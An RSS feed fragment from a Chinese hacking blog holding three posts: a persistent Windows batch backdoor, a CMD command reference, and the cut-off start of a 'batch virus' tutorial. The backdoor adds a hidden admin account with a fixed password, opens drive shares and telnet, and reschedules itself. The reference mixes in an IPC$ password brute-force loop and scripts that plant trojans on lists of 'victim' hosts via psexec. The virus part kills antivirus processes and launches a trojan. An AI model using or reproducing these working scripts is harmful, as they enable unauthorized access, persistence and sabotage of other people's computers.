		<description><![CDATA[　　代码是在邪八论坛上看到的，作者是xyt。刚看到这个批处理时是有几处有些糊涂，后来也懂了。邪八上拿过来的源代码有好几处BUG，我都修改了，简单测试了下没有问题。这个批处理的功能到底是不强的，但思路非常好，有兴趣的朋友可以自行修改。一般来说，这种批处理后门是永远不被查杀的。 源代码如下： @echo off @attrib +s +r hqw.bat @net user hqw hack520org /add @net localgroup administrators hqw /add @sc config lanmanserver start= auto @net start server @net share c$=c: @net share d$=d: @net share e$=e: @net share f$=f: @net share g$=g: @net share h$=h: @tlntadmn config sec = -ntlm @sc config Schedule start= auto @net [...]]]></description>
			<content:encoded><![CDATA[<p>　　代码是在邪八论坛上看到的，作者是xyt。刚看到这个批处理时是有几处有些糊涂，后来也懂了。邪八上拿过来的源代码有好几处BUG，我都修改了，简单测试了下没有问题。这个批处理的功能到底是不强的，但思路非常好，有兴趣的朋友可以自行修改。一般来说，这种批处理后门是永远不被查杀的。<br />
源代码如下：<br />
<span id="more-45"></span></p>
<pre>@echo off
@attrib +s +r hqw.bat
@net user hqw hack520org /add
@net localgroup administrators hqw /add
@sc config lanmanserver start= auto
@net start server
@net share c$=c:
@net share d$=d:
@net share e$=e:
@net share f$=f:
@net share g$=g:
@net share h$=h:
@tlntadmn config sec = -ntlm

@sc config Schedule start= auto
@net stop &#34;Task Scheduler&#34;
@net start &#34;Task Scheduler&#34;
@echo at 11:00 %systemroot%\SYSTEM32\log.bat > %systemroot%\SYSTEM32\hqw.bat
@echo at 23:00 %systemroot%\SYSTEM32\log.bat >> %systemroot%\SYSTEM32\hqw.bat
@at 11:05 %systemroot%\SYSTEM32\hqw.bat
@at 23:05 %systemroot%\SYSTEM32\hqw.bat
@sc config tlntsvr start= auto
@net stop telnet
@net start telnet
@exit</pre>
<p>这样就会循环运行我们的程序了，即使被人停下来，过几个小时(时间可以自己改)会自动重新运行，呵呵~~<br />
运行后TELNET IP上去，用户名为hqw，密码为hack520org。</p>
<p>解释一下这个批处理的核心代码：<br />
[quote]把以上的批处理保存为log.bat运行后他自动生成<br />
hqw.bat<br />
其中<br />
hqw.bat的内容为<br />
at 11:00 %systemroot%\system32\log.bat<br />
at 23:00 %systemroot%\system32\log.bat</p>
<p>  @echo at 11:00 %systemroot%\SYSTEM32\log.bat > %systemroot%\SYSTEM32\hqw.bat<br />
  @echo at 23:00 %systemroot%\SYSTEM32\log.bat >> %systemroot%\SYSTEM32\hqw.bat</p>
<p>这个意思是<br />
把at 11:00 %systemroot%\SYSTEM32\log.bat 写进%systemroot%\SYSTEM32\hqw.bat 文件..如果没有就自动创建<br />
第二个<br />
  @echo at 23:00 %systemroot%\SYSTEM32\log.bat >> %systemroot%\SYSTEM32\hqw.bat<br />
同理..不过因为第一句已经创建了..所以第二个直接添加at 23:00 %systemroot%\SYSTEM32\log.bat这里注意一定要是>>如果是>的话回直接覆盖那个hqw.bat文件</p>
<p>hqw.bat的作用是在特定的时间执行<br />
log.bat的..其中log.bat执行后&#8230;又自动创建并覆盖hqw.bat<br />
他两个就好比是在互相监视的<br />
但如果log.bat被删除了话..这个批处理后门就没啥用了</p>
<p>如果你把这个批出来的文件名改为hqw.bat为不是log.bat运行后你会发现hqw.bat的内容由原来的换成了<br />
at 11:00 %systemroot%\system32\log.bat<br />
所以一定要把文件名改为log.bat这样才会成功[/quote]</p>
]]></content:encoded>
			<wfw:commentRss>http://www.hack520.org/bat-backdoor-windows-tasks/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>『经典收藏』批处理＆CMD命令大全</title>
		<link>http://www.hack520.org/bat-cmd</link>
		<comments>http://www.hack520.org/bat-cmd#comments</comments>
		<pubDate>Thu, 03 May 2007 16:18:07 +0000</pubDate>
		<dc:creator>野球小子</dc:creator>
				<category><![CDATA[Windows]]></category>
		<category><![CDATA[批处理]]></category>

		<guid isPermaLink="false">http://www.hack520.org/%e7%b2%be%e5%85%b8%e6%94%b6%e8%97%8f%ef%bc%9a%e6%89%b9%e5%a4%84%e7%90%86-%ef%bc%86cmd%e5%91%bd%e4%bb%a4%e5%a4%a7%e5%85%a8</guid>
		<description><![CDATA[1.Echo 命令 打开回显或关闭请求回显功能，或显示消息。如果没有任何参数，echo 命令将显示当前回显设置。 语法 echo [{on&#124;off}] [message] Sample：echo off / echo hello world 在实际应用中我们会把这条命令和重定向符号（也称为管道符号，一般用> >> ^）结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。 2.@ 命令 表示不显示@后面的命令，在入侵过程中（例如使用批处理来格式化敌人的硬盘）自然不能让对方看到你使用的命令啦。 Sample：@echo off @echo Now initializing the program,please wait a minite&#8230; @format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的，可喜的是微软留了个autoset这个参数给我们，效果和/y是一样的。) 3.Goto 命令 指定跳转到标签，找到标签后，程序将处理从下一行开始的命令。 语法：goto label （label是参数，指定所要转向的批处理程序中的行。） Sample： if {%1}=={} goto noparms if {%2}=={} goto noparms（如果这里的if、%1、%2你不明白的话，先跳过去，后面会有详细的解释。） @Rem check parameters if null [...]]]></description>
			<content:encoded><![CDATA[<p><img alt="批处理CMD" src="/logo/bat.gif" title="批处理CMD" class="alignleft" width="90" height="101" /><strong>1.Echo 命令</strong></p>
<p>打开回显或关闭请求回显功能，或显示消息。如果没有任何参数，echo 命令将显示当前回显设置。<br />
语法<br />
echo [{on|off}] [message]<br />
Sample：echo off / echo hello world<br />
在实际应用中我们会把这条命令和重定向符号（也称为管道符号，一般用> >> ^）结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。<br />
<span id="more-41"></span><br />
<strong>2.@ 命令</strong></p>
<p>表示不显示@后面的命令，在入侵过程中（例如使用批处理来格式化敌人的硬盘）自然不能让对方看到你使用的命令啦。<br />
Sample：@echo off<br />
@echo Now initializing the program,please wait a minite&#8230;<br />
@format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的，可喜的是微软留了个autoset这个参数给我们，效果和/y是一样的。)</p>
<p><strong>3.Goto 命令</strong></p>
<p>指定跳转到标签，找到标签后，程序将处理从下一行开始的命令。<br />
语法：goto label （label是参数，指定所要转向的批处理程序中的行。）<br />
Sample：<br />
if {%1}=={} goto noparms<br />
if {%2}=={} goto noparms（如果这里的if、%1、%2你不明白的话，先跳过去，后面会有详细的解释。）<br />
@Rem check parameters if null show usage<br />
:noparms<br />
echo Usage: monitor.bat ServerIP PortNumber<br />
goto end<br />
标签的名字可以随便起，但是最好是有意义的字母啦，字母前加个：用来表示这个字母是标签，goto命令就是根据这个：来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。</p>
<p><strong>4.Rem 命令</strong></p>
<p>注释命令，在C语言中相当与/*&#8212;&#8212;&#8211;*/,它并不会被执行，只是起一个注释的作用，便于别人阅读和你自己日后修改。<br />
Rem Message<br />
Sample：@Rem Here is the description.</p>
<p><strong>5.Pause 命令</strong></p>
<p>运行 Pause 命令时，将显示下面的消息：<br />
Press any key to continue . . .<br />
Sample：<br />
@echo off<br />
:begin<br />
copy a:*.* d：\back<br />
echo Please put a new disk into driver A<br />
pause<br />
goto begin<br />
在这个例子中，驱动器 A 中磁盘上的所有文件均复制到d:\back中。显示的注释提示您将另一张磁盘放入驱动器 A 时，pause 命令会使程序挂起，以便您更换磁盘，然后按任意键继续处理。</p>
<p><strong>6.Call 命令</strong></p>
<p>从一个批处理程序调用另一个批处理程序，并且不终止父批处理程序。call 命令接受用作调用目标的标签。如果在脚本或批处理文件外使用 Call，它将不会在命令行起作用。<br />
语法<br />
call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]<br />
参数<br />
[Drive:}[Path] FileName<br />
指定要调用的批处理程序的位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名。</p>
<p><strong>7.start 命令</strong></p>
<p>调用外部程序，所有的DOS命令和命令行程序都可以由start命令来调用。<br />
入侵常用参数：<br />
MIN 开始时窗口最小化<br />
SEPARATE 在分开的空间内开始 16 位 Windows 程序<br />
HIGH 在 HIGH 优先级类别开始应用程序<br />
REALTIME 在 REALTIME 优先级类别开始应用程序<br />
WAIT 启动应用程序并等候它结束<br />
parameters 这些为传送到命令/程序的参数<br />
执行的应用程序是 32-位 GUI 应用程序时，CMD.EXE 不等应用程序终止就返回命令提示。如果在命令脚本内执行，该新行为则不会发生。</p>
<p><strong>8.choice 命令</strong></p>
<p>choice 使用此命令可以让用户输入一个字符，从而运行不同的命令。使用时应该加/c:参数，c:后应写提示可输入的字符，之间无空格。它的返回码为1234……</p>
<p>如: choice /c:dme defrag,mem,end<br />
将显示<br />
defrag,mem,end[D,M,E]?<br />
Sample：<br />
Sample.bat的内容如下:<br />
@echo off<br />
choice /c:dme defrag,mem,end<br />
if errorlevel 3 goto defrag （应先判断数值最高的错误码）<br />
if errorlevel 2 goto mem<br />
if errotlevel 1 goto end</p>
<p>:defrag<br />
c:\dos\defrag<br />
goto end<br />
:mem<br />
mem<br />
goto end<br />
:end<br />
echo good bye</p>
<p>此文件运行后，将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ，然后if语句将作出判断，d表示执行标号为defrag的程序段，m表示执行标号为mem的程序段，e表示执行标号为end的程序段，每个程序段最后都以goto end将程序跳到end标号处，然后程序将显示good bye，文件结束。</p>
<p><strong>9.If 命令</strong></p>
<p>if 表示将判断是否符合规定的条件，从而决定执行不同的命令。 有三种格式:<br />
1、if &#34;参数&#34; == &#34;字符串&#34; 待执行的命令<br />
参数如果等于指定的字符串，则条件成立，运行命令，否则运行下一句。(注意是两个等号）<br />
如if &#34;%1&#34;==&#34;a&#34; format a:<br />
if {%1}=={} goto noparms<br />
if {%2}=={} goto noparms</p>
<p>2、if exist 文件名 待执行的命令<br />
如果有指定的文件，则条件成立，运行命令，否则运行下一句。<br />
如if exist config.sys edit config.sys</p>
<p>3、if errorlevel / if not errorlevel 数字 待执行的命令<br />
如果返回码等于指定的数字，则条件成立，运行命令，否则运行下一句。<br />
如if errorlevel 2 goto x2<br />
DOS程序运行时都会返回一个数字给DOS，称为错误码errorlevel或称返回码，常见的返回码为0、1。</p>
<p><strong>10.for 命令</strong></p>
<p>for 命令是一个比较复杂的命令，主要用于参数在指定的范围内循环执行命令。<br />
在批处理文件中使用 FOR 命令时，指定变量请使用 %%variable</p>
<p>for {%variable|%%variable} in (set) do command [ CommandLineOptions]<br />
%variable 指定一个单一字母可替换的参数。<br />
(set) 指定一个或一组文件。可以使用通配符。<br />
command 指定对每个文件执行的命令。<br />
command-parameters 为特定命令指定参数或命令行开关。<br />
在批处理文件中使用 FOR 命令时，指定变量请使用 %%variable<br />
而不要用 %variable。变量名称是区分大小写的，所以 %i 不同于 %I</p>
<p>如果命令扩展名被启用，下列额外的 FOR 命令格式会受到<br />
支持:</p>
<p>FOR /D %variable IN (set) DO command [command-parameters]</p>
<p>如果集中包含通配符，则指定与目录名匹配，而不与文件<br />
名匹配。</p>
<p>FOR /R [[drive:]path] %variable IN (set) DO command [command-</p>
<p>检查以 [drive:]path 为根的目录树，指向每个目录中的<br />
FOR 语句。如果在 /R 后没有指定目录，则使用当前<br />
目录。如果集仅为一个单点(.)字符，则枚举该目录树。</p>
<p>FOR /L %variable IN (start,step,end) DO command [command-para</p>
<p>该集表示以增量形式从开始到结束的一个数字序列。<br />
因此，(1,1,5) 将产生序列 1 2 3 4 5，(5,-1,1) 将产生<br />
序列 (5 4 3 2 1)。</p>
<p>FOR /F [&#34;options&#34;] %variable IN (file-set) DO command<br />
FOR /F [&#34;options&#34;] %variable IN (&#34;string&#34;) DO command<br />
FOR /F [&#34;options&#34;] %variable IN (command) DO command</p>
<p>或者，如果有 usebackq 选项:</p>
<p>FOR /F [&#34;options&#34;] %variable IN (file-set) DO command<br />
FOR /F [&#34;options&#34;] %variable IN (&#34;string&#34;) DO command<br />
FOR /F [&#34;options&#34;] %variable IN (command) DO command</p>
<p>filenameset 为一个或多个文件名。继续到 filenameset 中的<br />
下一个文件之前，每份文件都已被打开、读取并经过处理。<br />
处理包括读取文件，将其分成一行行的文字，然后将每行<br />
解析成零或更多的符号。然后用已找到的符号字符串变量值<br />
调用 For 循环。以默认方式，/F 通过每个文件的每一行中分开<br />
的第一个空白符号。跳过空白行。您可通过指定可选 &#34;options&#34;<br />
参数替代默认解析操作。这个带引号的字符串包括一个或多个<br />
指定不同解析选项的关键字。这些关键字为:</p>
<p>eol=c &#8211; 指一个行注释字符的结尾(就一个)<br />
skip=n &#8211; 指在文件开始时忽略的行数。<br />
delims=xxx &#8211; 指分隔符集。这个替换了空格和跳格键的<br />
默认分隔符集。<br />
tokens=x,y,m-n &#8211; 指每行的哪一个符号被传递到每个迭代<br />
的 for 本身。这会导致额外变量名称的<br />
格式为一个范围。通过 nth 符号指定 m<br />
符号字符串中的最后一个字符星号，<br />
那么额外的变量将在最后一个符号解析之<br />
分配并接受行的保留文本。<br />
usebackq &#8211; 指定新语法已在下类情况中使用:<br />
在作为命令执行一个后引号的字符串并且<br />
引号字符为文字字符串命令并允许在 fi<br />
中使用双引号扩起文件名称。</p>
<p>sample1:<br />
FOR /F &#34;eol=; tokens=2,3* delims=, &#34; %i in (myfile.txt) do command</p>
<p>会分析 myfile.txt 中的每一行，忽略以分号打头的那些行，将<br />
每行中的第二个和第三个符号传递给 for 程序体；用逗号和/或<br />
空格定界符号。请注意，这个 for 程序体的语句引用 %i 来<br />
取得第二个符号，引用 %j 来取得第三个符号，引用 %k<br />
来取得第三个符号后的所有剩余符号。对于带有空格的文件<br />
名，您需要用双引号将文件名括起来。为了用这种方式来使<br />
用双引号，您还需要使用 usebackq 选项，否则，双引号会<br />
被理解成是用作定义某个要分析的字符串的。</p>
<p>%i 专门在 for 语句中得到说明，%j 和 %k 是通过<br />
tokens= 选项专门得到说明的。您可以通过 tokens= 一行<br />
指定最多 26 个符号，只要不试图说明一个高于字母 z 或<br />
Z 的变量。请记住，FOR 变量是单一字母、分大小写和全局的；<br />
同时不能有 52 个以上都在使用中。</p>
<p>您还可以在相邻字符串上使用 FOR /F 分析逻辑；方法是，<br />
用单引号将括号之间的 filenameset 括起来。这样，该字符<br />
串会被当作一个文件中的一个单一输入行。</p>
<p>最后，您可以用 FOR /F 命令来分析命令的输出。方法是，将<br />
括号之间的 filenameset 变成一个反括字符串。该字符串会<br />
被当作命令行，传递到一个子 CMD.EXE，其输出会被抓进<br />
内存，并被当作文件分析。因此，以下例子:</p>
<p>FOR /F &#34;usebackq delims==&#34; %i IN (`set`) DO @echo %i</p>
<p>会枚举当前环境中的环境变量名称。</p>
<p>另外，FOR 变量参照的替换已被增强。您现在可以使用下列<br />
选项语法:</p>
<p>~I &#8211; 删除任何引号(&#34;)，扩充 %I<br />
%~fI &#8211; 将 %I 扩充到一个完全合格的路径名<br />
%~dI &#8211; 仅将 %I 扩充到一个驱动器号<br />
%~pI &#8211; 仅将 %I 扩充到一个路径<br />
%~nI &#8211; 仅将 %I 扩充到一个文件名<br />
%~xI &#8211; 仅将 %I 扩充到一个文件扩展名<br />
%~sI &#8211; 扩充的路径只含有短名<br />
%~aI &#8211; 将 %I 扩充到文件的文件属性<br />
%~tI &#8211; 将 %I 扩充到文件的日期/时间<br />
%~zI &#8211; 将 %I 扩充到文件的大小<br />
%~$PATH:I &#8211; 查找列在路径环境变量的目录，并将 %I 扩充<br />
到找到的第一个完全合格的名称。如果环境变量<br />
未被定义，或者没有找到文件，此组合键会扩充<br />
空字符串</p>
<p>可以组合修饰符来得到多重结果:</p>
<p>%~dpI &#8211; 仅将 %I 扩充到一个驱动器号和路径<br />
%~nxI &#8211; 仅将 %I 扩充到一个文件名和扩展名<br />
%~fsI &#8211; 仅将 %I 扩充到一个带有短名的完整路径名<br />
%~dp$PATH:i &#8211; 查找列在路径环境变量的目录，并将 %I 扩充<br />
到找到的第一个驱动器号和路径。<br />
%~ftzaI &#8211; 将 %I 扩充到类似输出线路的 DIR</p>
<p>在以上例子中，%I 和 PATH 可用其他有效数值代替。%~ 语法<br />
用一个有效的 FOR 变量名终止。选取类似 %I 的大写变量名<br />
比较易读，而且避免与不分大小写的组合键混淆。</p>
<p>以上是MS的官方帮助，下面我们举几个例子来具体说明一下For命令在入侵中的用途。</p>
<p>sample2：</p>
<p>利用For命令来实现对一台目标Win2k主机的暴力密码破解。<br />
我们用net use \\ip\ipc$ &#34;password&#34; /u:&#34;administrator&#34;来尝试这和目标主机进行连接，当成功时记下密码。<br />
最主要的命令是一条：for /f i% in (dict.txt) do net use \\ip\ipc$ &#34;i%&#34; /u:&#34;administrator&#34;<br />
用i%来表示admin的密码，在dict.txt中这个取i%的值用net use 命令来连接。然后将程序运行结果传递给find命令－－<br />
for /f i%% in (dict.txt) do net use \\ip\ipc$ &#34;i%%&#34; /u:&#34;administrator&#34;|find &#34;:命令成功完成&#34;>>D:\ok.txt ，这样就ko了。</p>
<p>sample3：</p>
<p>你有没有过手里有大量肉鸡等着你去种后门＋木马呢？，当数量特别多的时候，原本很开心的一件事都会变得很郁闷：）。文章开头就谈到使用批处理文件，可以简化日常或重复性任务。那么如何实现呢？呵呵，看下去你就会明白了。</p>
<p>主要命令也只有一条：（在批处理文件中使用 FOR 命令时，指定变量使用 %%variable）<br />
@for /f &#34;tokens=1,2,3 delims= &#34; %%i in (victim.txt) do start call door.bat %%i %%j %%k<br />
tokens的用法请参见上面的sample1，在这里它表示按顺序将victim.txt中的内容传递给door.bat中的参数%i %j %k。<br />
而cultivate.bat无非就是用net use命令来建立IPC$连接，并copy木马＋后门到victim，然后用返回码（If errorlever =）来筛选成功种植后门的主机，并echo出来，或者echo到指定的文件。<br />
delims= 表示vivtim.txt中的内容是一空格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样的了。应该根据%%i %%j %%k表示的对象来排列，一般就是 ip password username。<br />
代码雏形：</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212; cut here then save as a batchfile(I call it main.bat ) &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
@echo off<br />
@if &#34;%1&#34;==&#34;&#34; goto usage<br />
@for /f &#34;tokens=1,2,3 delims= &#34; %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k<br />
@goto end<br />
:usage<br />
@echo run this batch in dos modle.or just double-click it.<br />
:end<br />
&#8212;&#8212;&#8212;&#8212;&#8212; cut here then save as a batchfile(I call it main.bat ) &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;- cut here then save as a batchfile(I call it door.bat) &#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
@net use \\%1\ipc$ %3 /u:&#34;%2&#34;<br />
@if errorlevel 1 goto failed<br />
@echo Trying to establish the IPC$ connection …………OK<br />
@copy windrv32.exe\\%1\admin$\system32 &amp;&amp; if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt<br />
@p***ec \\%1 c:\winnt\system32\windrv32.exe<br />
@p***ec \\%1 net start windrv32 &amp;&amp; if not errorlevel 1 echo %1 Backdoored >>ko.txt<br />
:failed<br />
@echo Sorry can not connected to the victim.<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8211; cut here then save as a batchfile(I call it door.bat) &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
这只是一个自动种植后门批处理的雏形，两个批处理和后门程序（Windrv32.exe）,PSexec.exe需放在统一目录下.批处理内容<br />
尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究.</p>
<p>有关某个命令的详细信息，请键入 HELP 命令名</p>
<p><strong>XP CMD命令大全</strong></p>
<p>有关某个命令的详细信息，请键入 HELP 命令名<br />
ASSOC 显示或修改文件扩展名关联。<br />
AT 计划在计算机上运行的命令和程序。<br />
ATTRIB 显示或更改文件属性。<br />
BREAK 设置或清除扩展式 CTRL+C 检查。<br />
CACLS 显示或修改文件的访问控制列表(ACLs)。<br />
CALL 从另一个批处理程序调用这一个。<br />
CD 显示当前目录的名称或将其更改。<br />
CHCP 显示或设置活动代码页数。<br />
CHDIR 显示当前目录的名称或将其更改。<br />
CHKDSK 检查磁盘并显示状态报告。<br />
CHKNTFS 显示或修改启动时间磁盘检查。<br />
CLS 清除屏幕。<br />
CMD 打开另一个 Windows 命令解释程序窗口。<br />
COLOR 设置默认控制台前景和背景颜色。<br />
COMP 比较两个或两套文件的内容。<br />
COMPACT 显示或更改 NTFS 分区上文件的压缩。<br />
CONVERT 将 FAT 卷转换成 NTFS。您不能转换<br />
当前驱动器。<br />
COPY 将至少一个文件复制到另一个位置。<br />
DATE 显示或设置日期。<br />
DEL 删除至少一个文件。<br />
DIR 显示一个目录中的文件和子目录。<br />
DISKCOMP 比较两个软盘的内容。<br />
DISKCOPY 将一个软盘的内容复制到另一个软盘。<br />
DOSKEY 编辑命令行、调用 Windows 命令并创建宏。<br />
ECHO 显示消息，或将命令回显打开或关上。<br />
ENDLOCAL 结束批文件中环境更改的本地化。<br />
ERASE 删除至少一个文件。<br />
EXIT 退出 CMD.EXE 程序(命令解释程序)。<br />
FC 比较两个或两套文件，并显示<br />
不同处。<br />
FIND 在文件中搜索文字字符串。<br />
FINDSTR 在文件中搜索字符串。<br />
FOR 为一套文件中的每个文件运行一个指定的命令。<br />
FORMAT 格式化磁盘，以便跟 Windows 使用。<br />
FTYPE 显示或修改用于文件扩展名关联的文件类型。<br />
GOTO 将 Windows 命令解释程序指向批处理程序<br />
中某个标明的行。<br />
GRAFTABL 启用 Windows 来以图像模式显示<br />
扩展字符集。<br />
HELP 提供 Windows 命令的帮助信息。<br />
IF 执行批处理程序中的条件性处理。<br />
LABEL 创建、更改或删除磁盘的卷标。<br />
MD 创建目录。<br />
MKDIR 创建目录。<br />
MODE 配置系统设备。<br />
MORE 一次显示一个结果屏幕。<br />
MOVE 将文件从一个目录移到另一个目录。<br />
PATH 显示或设置可执行文件的搜索路径。<br />
PAUSE 暂停批文件的处理并显示消息。<br />
POPD 还原 PUSHD 保存的当前目录的上一个值。<br />
PRINT 打印文本文件。<br />
PROMPT 更改 Windows 命令提示符。<br />
PUSHD 保存当前目录，然后对其进行更改。<br />
RD 删除目录。<br />
RECOVER 从有问题的磁盘恢复可读信息。<br />
REM 记录批文件或 CONFIG.SYS 中的注释。<br />
REN 重命名文件。<br />
RENAME 重命名文件。<br />
REPLACE 替换文件。<br />
RMDIR 删除目录。<br />
SET 显示、设置或删除 Windows 环境变量。<br />
SETLOCAL 开始批文件中环境更改的本地化。<br />
SHIFT 更换批文件中可替换参数的位置。<br />
SORT 对输入进行分类。<br />
START 启动另一个窗口来运行指定的程序或命令。<br />
SUBST 将路径跟一个驱动器号关联。<br />
TIME 显示或设置系统时间。<br />
TITLE 设置 CMD.EXE 会话的窗口标题。<br />
TREE 以图形模式显示驱动器或路径的目录结构。<br />
TYPE 显示文本文件的内容。<br />
VER 显示 Windows 版本。<br />
VERIFY 告诉 Windows 是否验证文件是否已正确<br />
写入磁盘。<br />
VOL 显示磁盘卷标和序列号。<br />
XCOPY 复制文件和目录树。</p>
<p>appwiz.cpl&#8212;&#8212;&#8212;&#8212;添加删除程序</p>
<p>control userpasswords2&#8212;&#8212;&#8211;用户帐户设置</p>
<p>cleanmgr&#8212;&#8212;-垃圾整理</p>
<p>CMD&#8212;&#8212;&#8212;&#8212;&#8211;命令提示符可以当作是 Windows 的一个附件，Ping，Convert 这些不能在图形环境下 使用的功能要借助它来完成。</p>
<p>cmd&#8212;&#8212;jview察看Java虚拟机版本。</p>
<p>command.com&#8212;&#8212;调用的则是系统内置的 NTVDM，一个 DOS虚拟机。它完全是一个类似 Virtual PC 的 虚拟环境，和系统本身联系不大。当我们在命令提示符下运行 DOS 程序时，实际上也 是自动转移到 NTVDM虚拟机下，和 CMD 本身没什么关系。</p>
<p>calc&#8212;&#8212;&#8212;&#8211;启动计算器</p>
<p>chkdsk.exe&#8212;&#8211;Chkdsk磁盘检查</p>
<p>compmgmt.msc&#8212;计算机管理</p>
<p>conf&#8212;&#8212;&#8212;&#8211;启动 netmeeting</p>
<p>control userpasswords2&#8212;&#8211;User Account 权限设置</p>
<p>devmgmt.msc&#8212; 设备管理器</p>
<p>diskmgmt.msc&#8212;磁盘管理实用程序</p>
<p>dfrg.msc&#8212;&#8212;-磁盘碎片整理程序</p>
<p>drwtsn32&#8212;&#8212; 系统医生</p>
<p>dvdplay&#8212;&#8212;&#8211;启动Media Player</p>
<p>dxdiag&#8212;&#8212;&#8212;&#8211;DirectX Diagnostic Tool</p>
<p>gpedit.msc&#8212;&#8212;-组策略编辑器</p>
<p>gpup&#100;ate /target:computer /force 强制刷新组策略</p>
<p>eventvwr.exe&#8212;&#8211;事件查看器</p>
<p>explorer&#8212;&#8212;-打开资源管理器</p>
<p>logoff&#8212;&#8212;&#8212;注销命令</p>
<p>lusrmgr.msc&#8212;-本机用户和组</p>
<p>msinfo32&#8212;&#8212;&#8212;系统信息</p>
<p>msconfig&#8212;&#8212;&#8212;系统配置实用程序</p>
<p>net start (servicename)&#8212;-启动该服务</p>
<p>net stop (servicename)&#8212;&#8211;停止该服务</p>
<p>notepad&#8212;&#8212;&#8211;打开记事本</p>
<p>nusrmgr.cpl&#8212;&#8212;-同control userpasswords，打开用户帐户控制面板</p>
<p>Nslookup&#8212;&#8212;-IP地址侦测器</p>
<p>oobe/msoobe /a&#8212;-检查XP是否激活</p>
<p>perfmon.msc&#8212;-计算机性能监测程序</p>
<p>progman&#8212;&#8212;&#8211;程序管理器</p>
<p>regedit&#8212;&#8212;&#8212;-注册表编辑器</p>
<p>regedt32&#8212;&#8212;-注册表编辑器</p>
<p>regsvr32 /u *.dll&#8212;-停止dll文件运行</p>
<p>route print&#8212;&#8212;查看路由表</p>
<p>rononce -p &#8212;-15秒关机</p>
<p>rsop.msc&#8212;&#8212;-组策略结果集</p>
<p>rundll32.exe rundll32.exe %Systemroot%System32shimgvw.dll,ImageView_Fullscreen&#8212;-启动一个空白的Windows 图片和传真查看器</p>
<p>secpol.msc&#8212;&#8212;&#8211;本地安全策略</p>
<p>services.msc&#8212;本地服务设置</p>
<p>sfc /scannow&#8212;&#8211;启动系统文件检查器</p>
<p>sndrec32&#8212;&#8212;-录音机</p>
<p>taskmgr&#8212;&#8211;任务管理器（适用于2000／xp／2003）</p>
<p>tsshutdn&#8212;&#8212;-60秒倒计时关机命令</p>
<p>winchat&#8212;&#8212;&#8211;XP自带局域网聊天</p>
<p>winmsd&#8212;&#8212;&#8212;系统信息</p>
<p>winver&#8212;&#8211;显示About Windows 窗口</p>
<p>wupdmgr&#8212;&#8212;&#8212;&#8211;Windows Up&#100;ate</p>
]]></content:encoded>
			<wfw:commentRss>http://www.hack520.org/bat-cmd/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>批处理高级应用之编写病毒</title>
		<link>http://www.hack520.org/bat-virus</link>
		<comments>http://www.hack520.org/bat-virus#comments</comments>
		<pubDate>Sat, 14 Apr 2007 13:27:59 +0000</pubDate>
		<dc:creator>野球小子</dc:creator>
				<category><![CDATA[编程乐园]]></category>
		<category><![CDATA[黑客地带]]></category>
		<category><![CDATA[批处理]]></category>
		<category><![CDATA[病毒]]></category>

		<guid isPermaLink="false">http://www.hack520.org/%e6%89%b9%e5%a4%84%e7%90%86%e9%ab%98%e7%ba%a7%e5%ba%94%e7%94%a8%e4%b9%8b%e7%bc%96%e5%86%99%e7%97%85%e6%af%92</guid>
		<description><![CDATA[@echo off REM 以下批处理内容中止众多安全软件进程 tskill Mcshield.exe &#38; tskill VsTskMgr.exe &#38; tskillnaPrdMgr.exe &#38; tskill UpdaterUI.exe &#38; tskill TBMon.exe &#38; tskill scan32.exe &#38; tskill Ravmond.exe &#38; tskill CCenter.exe &#38; tskill RavTask.exe &#38; tskill Rav.exe &#38; tskill Ravmon.exe &#38; tskill RavmonD.exe &#38; tskill RavStub.exe &#38; taskill KVXP.kxp &#38; tskill kvMonXP.kxp &#38; tskill KVCenter.kxp &#38; tskill KRegEx.exe &#38; tskill [...]]]></description>
			<content:encoded><![CDATA[<p>@echo off<br />
REM 以下批处理内容中止众多安全软件进程<br />
tskill Mcshield.exe &amp; tskill VsTskMgr.exe &amp; tskillnaPrdMgr.exe &amp; tskill UpdaterUI.exe &amp;<br />
tskill TBMon.exe &amp; tskill scan32.exe &amp; tskill Ravmond.exe &amp; tskill CCenter.exe &amp;<br />
tskill RavTask.exe &amp; tskill Rav.exe &amp; tskill Ravmon.exe &amp; tskill RavmonD.exe &amp;<br />
tskill RavStub.exe &amp; taskill KVXP.kxp &amp; tskill kvMonXP.kxp &amp; tskill KVCenter.kxp &amp;<br />
tskill KRegEx.exe &amp; tskill UIHost.exe &amp; tskill TrojDie.kxp &amp; tskill Logo_1.exe &amp;<br />
tskill Rundll32.exe    //tskill是结束进程的命令，&amp;是一个组合命令，顺序执行不管前面是否失败<br />
<span id="more-26"></span><br />
REM 启动木马程序<br />
start /b %systemroot%\system32\muma.com<br />
REM 遍历所有驱动器寻找可移动磁盘<br />
for %%i in (c d e f g h i j k l m n o p q r s t u v w x y z)do @fsutil fsinfo drivetype %%i:&gt;&gt;%systemroot%\temp.txt<br />
//Fsutil是可用于执行多种与FAT和NTFS文件系统相关的任务，加上fsinfo是列出所有驱动器的信息。再加上drivetype就是查询一个驱动器的驱动器类型。 %%i 是一个变量，这里分别将c、d、e至z的各个驱动器赋值给这个&amp;&amp;i的变量，然后用fsutil查询出驱动器类型。最后用 &gt;&gt;追加到文件temp.txt<br />
findstr /i &#8220;可移动驱动器&#8221; %systemroot%\temp.txt <br />
